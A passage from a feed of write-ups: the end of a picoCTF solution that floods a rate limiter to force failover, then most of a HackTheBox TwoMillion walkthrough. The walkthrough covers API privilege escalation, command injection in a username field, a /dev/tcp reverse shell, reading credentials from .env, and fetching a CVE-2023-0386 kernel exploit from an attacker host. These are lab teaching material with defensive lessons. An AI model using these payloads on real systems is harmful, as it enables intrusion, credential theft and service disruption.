&lt;p&gt;The flag is only available on the backup server where &lt;code&gt;IS_BACKUP=yes&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The real vulnerability is in the rate limiter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;limiter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Limiter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;key_func&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;global_rate_limit_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# global limit, not per-IP!
&lt;/span&gt;    &lt;span class="n"&gt;default_limits&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;300 per minute&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.errorhandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ratelimit_exceeded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Service Unavailable: Rate limit exceeded&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;503&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the rate limit is exceeded, the server returns &lt;code&gt;503&lt;/code&gt; instead of &lt;code&gt;200&lt;/code&gt; — which fails the HAProxy health check.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 — The Attack Plan
&lt;/h2&gt;

&lt;p&gt;The chain of events we need to trigger:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Flood the primary server (s1) with 300+ requests per minute&lt;/li&gt;
&lt;li&gt;s1 starts returning &lt;code&gt;503&lt;/code&gt; due to rate limiting&lt;/li&gt;
&lt;li&gt;HAProxy health check sees &lt;code&gt;503&lt;/code&gt; (not &lt;code&gt;200&lt;/code&gt;) → marks s1 as down after 2 failures&lt;/li&gt;
&lt;li&gt;HAProxy switches all traffic to the backup server s2&lt;/li&gt;
&lt;li&gt;s2 has &lt;code&gt;IS_BACKUP=yes&lt;/code&gt; → returns the flag&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Step 4 — Exploit Script
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;concurrent.futures&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ThreadPoolExecutor&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://CHALLENGE_URL/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="c1"&gt;# Flood s1 to trigger rate limiting
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Flooding primary server...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;ThreadPoolExecutor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;max_workers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;futures&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="c1"&gt;# Now fetch — should hit backup server
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Fetching flag from backup server...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 5 — Getting the Flag
&lt;/h2&gt;

&lt;p&gt;After flooding the primary server, the next request routes to the backup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;picoCTF{...flag...}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Vulnerability Summary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Global rate limiter&lt;/strong&gt; — Shared across all users, not per-IP. Any single user can exhaust the limit for everyone, triggering system-level side effects.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. HAProxy health check fails on 503&lt;/strong&gt; — An attacker can deliberately trigger 503s to force failover to the backup server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Flag on backup server&lt;/strong&gt; — Placing sensitive data on a "backup" assuming it won't be reached is a false assumption. All servers in a cluster must be treated as equally reachable.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lessons Learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never put sensitive data exclusively on a backup server.&lt;/strong&gt; The assumption that it won't be reached under normal conditions is exactly what an attacker will exploit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use per-IP rate limiting.&lt;/strong&gt; Global limits let a single user starve everyone else and trigger system-level side effects like this failover.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Health check endpoints should be rate-limit exempt.&lt;/strong&gt; Mixing health checks with user-facing rate limiting creates an unintended control surface for attackers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;All servers in a cluster are attack surface.&lt;/strong&gt; Design every node as if it could be directly targeted.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Thanks for reading! If you found this helpful, consider following for more CTF writeups.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>picoctf</category>
      <category>cybersecurity</category>
      <category>webexploitation</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox - TwoMillion: A Complete Walkthrough</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 27 May 2026 06:22:18 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-twomillion-a-complete-walkthrough-247n</link>
      <guid>https://dev.to/exploitnotes/hackthebox-twomillion-a-complete-walkthrough-247n</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;TwoMillion is a nostalgic HackTheBox machine themed around the old HTB platform. The attack chain involves reverse-engineering obfuscated JavaScript to discover invite code logic, abusing a broken access control vulnerability in the API to escalate privileges to admin, and exploiting an unsanitized username parameter to gain Remote Code Execution. Privilege escalation to root leverages CVE-2023-0386, an OverlayFS/FUSE kernel vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy | &lt;strong&gt;OS:&lt;/strong&gt; Linux | &lt;strong&gt;Tags:&lt;/strong&gt; Web, API Abuse, Command Injection, Kernel Exploit&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Results:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port 22 — SSH (OpenSSH 8.9)&lt;/li&gt;
&lt;li&gt;Port 80 — HTTP (nginx)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The HTTP server redirects to &lt;code&gt;http://2million.htb/&lt;/code&gt;. Add it to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;MACHINE-IP&amp;gt; 2million.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. Enumeration
&lt;/h2&gt;

&lt;p&gt;The site requires an invite code to register. Directory fuzzing with feroxbuster reveals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://2million.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key findings:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/invite&lt;/code&gt; — invite code entry page&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/js/inviteapi.min.js&lt;/code&gt; — client-side invite logic&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/api/v1/user/login&lt;/code&gt; and &lt;code&gt;/api/v1/user/register&lt;/code&gt; — API endpoints&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Getting the Invite Code
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Deobfuscating the JavaScript
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; GET http://2million.htb/js/inviteapi.min.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script uses a common eval-based packing technique. After deobfuscation, two functions are revealed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;makeInviteCode()&lt;/code&gt; — POSTs to &lt;code&gt;/api/v1/invite/how/to/generate&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;verifyInviteCode(code)&lt;/code&gt; — POSTs to &lt;code&gt;/api/v1/invite/verify&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.2 Generating the Code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://2million.htb/api/v1/invite/how/to/generate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"enctype"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ROT13"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decode the ROT13:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Va beqre gb trarengr..."&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'A-Za-z'&lt;/span&gt; &lt;span class="s1"&gt;'N-ZA-Mn-za-m'&lt;/span&gt;
&lt;span class="c"&gt;# In order to generate the invite code, make a POST request to /api/v1/invite/generate&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Generate the code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://2million.htb/api/v1/invite/generate | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decode the Base64 result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;span class="c"&gt;# UKLXC-6NSN0-T915N-UV8YA&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use this code to register an account at &lt;code&gt;/invite&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. API Enumeration &amp;amp; Privilege Escalation (Web)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9uyy6ijnu36sj5np0o1b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9uyy6ijnu36sj5np0o1b.png" alt=" " width="800" height="335"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After logging in, enumerate the full API route list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://2million.htb/api/v1 &lt;span class="nt"&gt;--cookie&lt;/span&gt; &lt;span class="s2"&gt;"PHPSESSID=&amp;lt;your-session&amp;gt;"&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Admin endpoints discovered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;GET /api/v1/admin/auth&lt;/code&gt; — Check if current user is admin&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;PUT /api/v1/admin/settings/update&lt;/code&gt; — Update user settings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;POST /api/v1/admin/vpn/generate&lt;/code&gt; — Generate VPN for any user&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.1 Escalating to Admin
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; PUT http://2million.htb/api/v1/admin/settings/update &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt; &lt;span class="s2"&gt;"PHPSESSID=&amp;lt;your-session&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--header&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"email": "john@email.com", "is_admin": 1}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response confirms admin escalation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"john"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"is_admin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;This is a classic Broken Access Control vulnerability — the API trusts user-supplied input to set privilege levels with no server-side authorization check.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Remote Code Execution via Command Injection
&lt;/h2&gt;

&lt;p&gt;The admin VPN generation endpoint passes the username parameter to a system command without sanitization:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://2million.htb/api/v1/admin/vpn/generate &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt; &lt;span class="s2"&gt;"PHPSESSID=&amp;lt;your-session&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--header&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;'{"username": "john;whoami;"}'&lt;/span&gt;
&lt;span class="c"&gt;# www-data&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have RCE. Set up a listener and send a reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Listener&lt;/span&gt;
pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 4444

&lt;span class="c"&gt;# Payload&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://2million.htb/api/v1/admin/vpn/generate &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt; &lt;span class="s2"&gt;"PHPSESSID=&amp;lt;your-session&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--header&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;username&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;john;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;YOUR-IP&amp;gt;/4444 0&amp;gt;&amp;amp;1'&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell received as &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Lateral Movement: www-data → admin
&lt;/h2&gt;

&lt;p&gt;Enumerating the web root reveals a &lt;code&gt;.env&lt;/code&gt; file with hardcoded database credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/www/html/.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Testing password reuse over SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh admin@2million.htb
&lt;span class="c"&gt;# Password: SuperDuperPass123&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User flag obtained at ~/user.txt&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Privilege Escalation: CVE-2023-0386
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Finding the Lead
&lt;/h3&gt;

&lt;p&gt;Logging in via SSH shows an interesting banner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You have mail.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The mail at &lt;code&gt;/var/mail/admin&lt;/code&gt; contains a message warning about a serious kernel vulnerability in OverlayFS / FUSE.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 Confirming Kernel Version
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="c"&gt;# Linux 2million 5.15.70-051570-generic #202209231339 ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kernel 5.15.70 falls within the vulnerable range for &lt;strong&gt;CVE-2023-0386&lt;/strong&gt; — an OverlayFS privilege escalation that allows creating SUID binaries through overlay filesystem manipulation.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.3 Exploitation
&lt;/h3&gt;

&lt;p&gt;Compile the PoC on the attacker machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;libfuse-dev
gcc poc.c &lt;span class="nt"&gt;-o&lt;/span&gt; poc &lt;span class="nt"&gt;-D_FILE_OFFSET_BITS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;64 &lt;span class="nt"&gt;-static&lt;/span&gt; &lt;span class="nt"&gt;-lfuse&lt;/span&gt; &lt;span class="nt"&gt;-ldl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Serve it to the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the victim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://&amp;lt;ATTACKER-IP&amp;gt;:8000/poc
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x poc
./poc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@2million:/tmp# whoami
root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Root flag obtained at /root/root.txt&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Attack Chain Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reconnaissance&lt;/td&gt;
&lt;td&gt;Nmap revealed HTTP on port 80&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enumeration&lt;/td&gt;
&lt;td&gt;feroxbuster found invite API and JS file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Invite Code&lt;/td&gt;
&lt;td&gt;Deobfuscated JS → ROT13 → Base64 → valid code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API Abuse&lt;/td&gt;
&lt;td&gt;Discovered admin endpoints while authenticated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
